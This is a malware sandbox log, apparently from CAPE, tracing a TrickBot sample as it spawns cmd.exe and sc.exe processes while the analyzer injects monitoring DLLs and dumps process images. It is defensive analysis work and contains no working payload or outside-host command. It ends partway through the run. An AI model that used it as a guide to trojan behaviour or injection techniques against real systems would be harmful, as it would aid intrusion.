Analysis

Category Package Started Completed Duration Options Log
FILE TrickBot 2019-08-13 22:48:15 2019-08-13 22:52:24 249 seconds Show Options Show Log
route = internet
procdump = 0
2019-08-13 23:48:16,000 [root] INFO: Date set to: 08-13-19, time set to: 22:48:16, timeout set to: 200
2019-08-13 23:48:16,030 [root] DEBUG: Starting analyzer from: C:\eekpksikqu
2019-08-13 23:48:16,030 [root] DEBUG: Storing results at: C:\CWrcSCkEoS
2019-08-13 23:48:16,030 [root] DEBUG: Pipe server name: \\.\PIPE\efjffUu
2019-08-13 23:48:16,030 [root] INFO: Analysis package "TrickBot" has been specified.
2019-08-13 23:48:16,390 [root] DEBUG: Started auxiliary module Browser
2019-08-13 23:48:16,390 [root] DEBUG: Started auxiliary module Curtain
2019-08-13 23:48:16,390 [modules.auxiliary.digisig] DEBUG: Checking for a digitial signature.
2019-08-13 23:48:16,670 [modules.auxiliary.digisig] DEBUG: File is not signed.
2019-08-13 23:48:16,670 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2019-08-13 23:48:16,670 [root] DEBUG: Started auxiliary module DigiSig
2019-08-13 23:48:16,670 [root] DEBUG: Started auxiliary module Disguise
2019-08-13 23:48:16,670 [root] DEBUG: Started auxiliary module Human
2019-08-13 23:48:16,686 [root] DEBUG: Started auxiliary module Screenshots
2019-08-13 23:48:16,686 [root] DEBUG: Started auxiliary module Sysmon
2019-08-13 23:48:16,686 [root] DEBUG: Started auxiliary module Usage
2019-08-13 23:48:16,686 [root] INFO: Analyzer: DLL set to DumpOnAPI.dll from package modules.packages.TrickBot
2019-08-13 23:48:16,686 [root] INFO: Analyzer: DLL_64 set to DumpOnAPI_x64.dll from package modules.packages.TrickBot
2019-08-13 23:48:16,701 [lib.api.process] INFO: Successfully executed process from path "C:\Users\user\AppData\Local\Temp\FGY56.exe" with arguments "" with pid 320
2019-08-13 23:48:19,711 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:19,711 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:19,711 [lib.api.process] INFO: 32-bit DLL to inject is C:\eekpksikqu\dll\PTgOnf.dll, loader C:\eekpksikqu\bin\SzJSXxk.exe
2019-08-13 23:48:19,711 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:19,711 [root] DEBUG: Loader: Injecting process 320 (thread 1068) with C:\eekpksikqu\dll\PTgOnf.dll.
2019-08-13 23:48:19,711 [root] DEBUG: Process image base: 0x00400000
2019-08-13 23:48:19,711 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\PTgOnf.dll.
2019-08-13 23:48:19,711 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0048F000 - 0x77680000
2019-08-13 23:48:19,711 [root] DEBUG: InjectDllViaIAT: Allocated 0x112c bytes for new import table at 0x00490000.
2019-08-13 23:48:19,711 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:19,711 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\PTgOnf.dll.
2019-08-13 23:48:19,711 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 320
2019-08-13 23:48:21,724 [lib.api.process] INFO: Successfully resumed process with pid 320
2019-08-13 23:48:21,724 [root] INFO: Added new process to list with pid: 320
2019-08-13 23:48:21,740 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:21,740 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:21,740 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:21,786 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:21,786 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:21,786 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:21,786 [root] DEBUG: CAPE initialised: 32-bit DumpOnAPI package loaded at 0x74b60000, process image base 0x400000, stack from 0x286000-0x290000
2019-08-13 23:48:21,786 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:21,786 [root] INFO: Monitor successfully loaded in process with pid 320.
2019-08-13 23:48:21,786 [root] DEBUG: GetHookCallerBase: thread 1068 (handle 0x0), return address 0x004012A9, allocation base 0x00400000.
2019-08-13 23:48:21,786 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00400000 main_caller_retaddr 0x004012A9 parent_caller_retaddr 0x00000000.
2019-08-13 23:48:21,786 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2019-08-13 23:48:21,786 [root] DEBUG: DumpProcess: Module entry point VA is 0x000014E0.
2019-08-13 23:48:21,802 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\320_162361217218514382019
2019-08-13 23:48:21,802 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x82600.
2019-08-13 23:48:21,802 [root] DEBUG: Dump-on-API: Dumped module at 0x00400000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:21,802 [root] DEBUG: DLL loaded at 0x751D0000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2019-08-13 23:48:21,818 [root] DEBUG: DLL loaded at 0x75190000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2019-08-13 23:48:21,818 [root] DEBUG: DLL loaded at 0x74B40000: C:\Windows\system32\USERENV (0x17000 bytes).
2019-08-13 23:48:21,818 [root] DEBUG: DLL loaded at 0x74B30000: C:\Windows\system32\profapi (0xb000 bytes).
2019-08-13 23:48:21,834 [root] DEBUG: DLL loaded at 0x74A30000: C:\Windows\system32\PROPSYS (0xf5000 bytes).
2019-08-13 23:48:21,834 [root] DEBUG: DLL loaded at 0x75FF0000: C:\Windows\syswow64\OLEAUT32 (0x8f000 bytes).
2019-08-13 23:48:21,849 [root] DEBUG: DLL loaded at 0x74890000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32 (0x19e000 bytes).
2019-08-13 23:48:21,849 [root] DEBUG: DLL loaded at 0x75B30000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes).
2019-08-13 23:48:21,865 [root] DEBUG: DLL loaded at 0x74C10000: C:\Windows\system32\ntmarta (0x21000 bytes).
2019-08-13 23:48:21,865 [root] DEBUG: DLL loaded at 0x76240000: C:\Windows\syswow64\WLDAP32 (0x45000 bytes).
2019-08-13 23:48:21,895 [root] DEBUG: DLL loaded at 0x760D0000: C:\Windows\SysWOW64\urlmon (0x136000 bytes).
2019-08-13 23:48:21,911 [root] DEBUG: DLL loaded at 0x77130000: C:\Windows\syswow64\WININET (0xf5000 bytes).
2019-08-13 23:48:21,943 [root] DEBUG: DLL loaded at 0x756C0000: C:\Windows\syswow64\iertutil (0x1fb000 bytes).
2019-08-13 23:48:21,943 [root] DEBUG: DLL loaded at 0x75D80000: C:\Windows\syswow64\CRYPT32 (0x11d000 bytes).
2019-08-13 23:48:21,943 [root] DEBUG: DLL loaded at 0x758C0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2019-08-13 23:48:21,990 [root] DEBUG: DLL loaded at 0x75420000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes).
2019-08-13 23:48:22,006 [root] DEBUG: DLL loaded at 0x75670000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes).
2019-08-13 23:48:22,006 [root] DEBUG: DLL loaded at 0x756A0000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes).
2019-08-13 23:48:22,006 [root] DEBUG: DLL loaded at 0x74DC0000: C:\Windows\system32\apphelp (0x4c000 bytes).
2019-08-13 23:48:22,006 [root] DEBUG: DLL unloaded from 0x76430000.
2019-08-13 23:48:22,020 [root] INFO: Announced 32-bit process name: ОЛкАесмЫфц.exe pid: 1800
2019-08-13 23:48:22,020 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,020 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,020 [lib.api.process] INFO: 32-bit DLL to inject is C:\eekpksikqu\dll\PTgOnf.dll, loader C:\eekpksikqu\bin\SzJSXxk.exe
2019-08-13 23:48:22,020 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,020 [root] DEBUG: Loader: Injecting process 1800 (thread 1480) with C:\eekpksikqu\dll\PTgOnf.dll.
2019-08-13 23:48:22,020 [root] DEBUG: Process image base: 0x00400000
2019-08-13 23:48:22,020 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\PTgOnf.dll.
2019-08-13 23:48:22,020 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0048F000 - 0x77680000
2019-08-13 23:48:22,036 [root] DEBUG: InjectDllViaIAT: Allocated 0x112c bytes for new import table at 0x00490000.
2019-08-13 23:48:22,036 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,036 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\PTgOnf.dll.
2019-08-13 23:48:22,036 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1800
2019-08-13 23:48:22,036 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:22,036 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,036 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,036 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,036 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,036 [root] DEBUG: DLL unloaded from 0x74A30000.
2019-08-13 23:48:22,036 [root] DEBUG: DLL unloaded from 0x75D20000.
2019-08-13 23:48:22,036 [root] DEBUG: DLL unloaded from 0x74C10000.
2019-08-13 23:48:22,036 [root] INFO: Notified of termination of process with pid 320.
2019-08-13 23:48:22,052 [root] DEBUG: CAPE initialised: 32-bit DumpOnAPI package loaded at 0x74b60000, process image base 0x400000, stack from 0x287000-0x290000
2019-08-13 23:48:22,068 [root] INFO: Added new process to list with pid: 1800
2019-08-13 23:48:22,068 [root] INFO: Monitor successfully loaded in process with pid 1800.
2019-08-13 23:48:22,068 [root] DEBUG: GetHookCallerBase: thread 1480 (handle 0x0), return address 0x004012A9, allocation base 0x00400000.
2019-08-13 23:48:22,068 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00400000 main_caller_retaddr 0x004012A9 parent_caller_retaddr 0x00000000.
2019-08-13 23:48:22,084 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2019-08-13 23:48:22,098 [root] DEBUG: DumpProcess: Module entry point VA is 0x000014E0.
2019-08-13 23:48:22,098 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\1800_696036972228514382019
2019-08-13 23:48:22,115 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x82600.
2019-08-13 23:48:22,115 [root] DEBUG: Dump-on-API: Dumped module at 0x00400000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,130 [root] DEBUG: DLL loaded at 0x751D0000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2019-08-13 23:48:22,130 [root] DEBUG: DLL loaded at 0x75190000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2019-08-13 23:48:22,130 [root] DEBUG: DLL loaded at 0x74B20000: C:\Windows\system32\USERENV (0x17000 bytes).
2019-08-13 23:48:22,145 [root] DEBUG: DLL loaded at 0x74B50000: C:\Windows\system32\profapi (0xb000 bytes).
2019-08-13 23:48:22,161 [root] DEBUG: DLL loaded at 0x75D80000: C:\Windows\syswow64\CRYPT32 (0x11d000 bytes).
2019-08-13 23:48:22,161 [root] DEBUG: DLL loaded at 0x758C0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2019-08-13 23:48:22,161 [root] DEBUG: DLL unloaded from 0x75D80000.
2019-08-13 23:48:22,223 [root] DEBUG: DLL loaded at 0x74A20000: C:\Windows\system32\PROPSYS (0xf5000 bytes).
2019-08-13 23:48:22,223 [root] DEBUG: DLL loaded at 0x75FF0000: C:\Windows\syswow64\OLEAUT32 (0x8f000 bytes).
2019-08-13 23:48:22,223 [root] DEBUG: DLL loaded at 0x74880000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32 (0x19e000 bytes).
2019-08-13 23:48:22,223 [root] DEBUG: DLL loaded at 0x74DC0000: C:\Windows\system32\apphelp (0x4c000 bytes).
2019-08-13 23:48:22,240 [root] DEBUG: DLL loaded at 0x75B30000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes).
2019-08-13 23:48:22,255 [root] DEBUG: DLL loaded at 0x734E0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:22,286 [root] DEBUG: DLL loaded at 0x74840000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:22,332 [root] DEBUG: DLL loaded at 0x756C0000: C:\Windows\syswow64\iertutil (0x1fb000 bytes).
2019-08-13 23:48:22,348 [root] DEBUG: DLL loaded at 0x760D0000: C:\Windows\syswow64\urlmon (0x136000 bytes).
2019-08-13 23:48:22,364 [root] DEBUG: DLL loaded at 0x77130000: C:\Windows\syswow64\WININET (0xf5000 bytes).
2019-08-13 23:48:22,364 [root] DEBUG: DLL loaded at 0x75420000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes).
2019-08-13 23:48:22,364 [root] DEBUG: DLL loaded at 0x75670000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes).
2019-08-13 23:48:22,364 [root] DEBUG: DLL loaded at 0x756A0000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes).
2019-08-13 23:48:22,364 [root] DEBUG: DLL loaded at 0x74C10000: C:\Windows\system32\ntmarta (0x21000 bytes).
2019-08-13 23:48:22,395 [root] DEBUG: DLL loaded at 0x76240000: C:\Windows\syswow64\WLDAP32 (0x45000 bytes).
2019-08-13 23:48:22,395 [root] INFO: Announced 64-bit process name: cmd.exe pid: 1280
2019-08-13 23:48:22,395 [root] DEBUG: DLL unloaded from 0x76430000.
2019-08-13 23:48:22,395 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,395 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,395 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,411 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,427 [root] DEBUG: Loader: Injecting process 1280 (thread 1904) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,427 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:22,441 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,441 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:22,441 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:22,441 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,457 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,457 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 1280
2019-08-13 23:48:22,473 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:22,473 [root] DEBUG: DLL unloaded from 0x74A20000.
2019-08-13 23:48:22,473 [root] DEBUG: DLL unloaded from 0x734E0000.
2019-08-13 23:48:22,473 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,473 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,473 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,473 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,473 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:22,489 [root] DEBUG: DLL loaded at 0x72A60000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:22,489 [root] DEBUG: DLL loaded at 0x74730000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:22,505 [root] INFO: Announced 64-bit process name: cmd.exe pid: 1304
2019-08-13 23:48:22,505 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,505 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,505 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,505 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,505 [root] DEBUG: Loader: Injecting process 1304 (thread 1696) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,519 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:22,519 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000074000-0x0000000000170000
2019-08-13 23:48:22,519 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,519 [root] INFO: Added new process to list with pid: 1280
2019-08-13 23:48:22,519 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:22,519 [root] INFO: Monitor successfully loaded in process with pid 1280.
2019-08-13 23:48:22,519 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:22,519 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,519 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,519 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 1304
2019-08-13 23:48:22,519 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:22,536 [root] DEBUG: DLL unloaded from 0x72A60000.
2019-08-13 23:48:22,536 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:22,536 [root] DEBUG: DLL loaded at 0x734E0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:22,536 [root] DEBUG: GetHookCallerBase: thread 1904 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:22,536 [root] DEBUG: DLL loaded at 0x74840000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:22,536 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,536 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:22,536 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,552 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:22,552 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,552 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:22,552 [root] INFO: Announced 64-bit process name: cmd.exe pid: 1860
2019-08-13 23:48:22,552 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,552 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,552 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,552 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,552 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000214000-0x0000000000310000
2019-08-13 23:48:22,552 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,566 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,566 [root] INFO: Added new process to list with pid: 1304
2019-08-13 23:48:22,566 [root] DEBUG: Loader: Injecting process 1860 (thread 1728) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,566 [root] INFO: Monitor successfully loaded in process with pid 1304.
2019-08-13 23:48:22,566 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:22,566 [root] DEBUG: GetHookCallerBase: thread 1696 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:22,566 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,566 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:22,566 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:22,566 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:22,566 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:22,566 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:22,566 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,566 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,582 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\1280_22559600228514382019
2019-08-13 23:48:22,582 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,582 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 1860
2019-08-13 23:48:22,582 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:22,582 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:22,582 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,582 [root] DEBUG: DLL unloaded from 0x734E0000.
2019-08-13 23:48:22,582 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:22,598 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:22,598 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:22,598 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\1304_473279165228514382019
2019-08-13 23:48:22,598 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:22,598 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:22,598 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:22,598 [root] DEBUG: DLL loaded at 0x72A60000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:22,598 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:22,598 [root] DEBUG: DLL loaded at 0x74730000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:22,598 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:22,614 [root] INFO: Announced 64-bit process name: sc.exe pid: 2188
2019-08-13 23:48:22,614 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2244
2019-08-13 23:48:22,614 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:22,614 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000184000-0x0000000000280000
2019-08-13 23:48:22,614 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,614 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,614 [root] INFO: Announced 64-bit process name: sc.exe pid: 2232
2019-08-13 23:48:22,614 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,614 [root] INFO: Added new process to list with pid: 1860
2019-08-13 23:48:22,614 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,614 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,630 [root] INFO: Monitor successfully loaded in process with pid 1860.
2019-08-13 23:48:22,630 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:22,630 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,630 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:22,630 [root] DEBUG: GetHookCallerBase: thread 1728 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:22,630 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:22,630 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:22,630 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,630 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,630 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:22,630 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:22,630 [root] DEBUG: Loader: Injecting process 2244 (thread 2248) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,630 [root] DEBUG: Loader: Injecting process 2188 (thread 2192) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,630 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:22,630 [root] DEBUG: Loader: Injecting process 2232 (thread 2236) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,630 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:22,630 [root] DEBUG: Process image base: 0x00000000FF1E0000
2019-08-13 23:48:22,630 [root] DEBUG: Process image base: 0x00000000FF1E0000
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,644 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF1EF000 - 0x000007FEFF9A0000
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF1EF000 - 0x000007FEFF9A0000
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Allocated 0x1dc bytes for new import table at 0x00000000FF1F0000.
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Allocated 0x1dc bytes for new import table at 0x00000000FF1F0000.
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,644 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:22,644 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
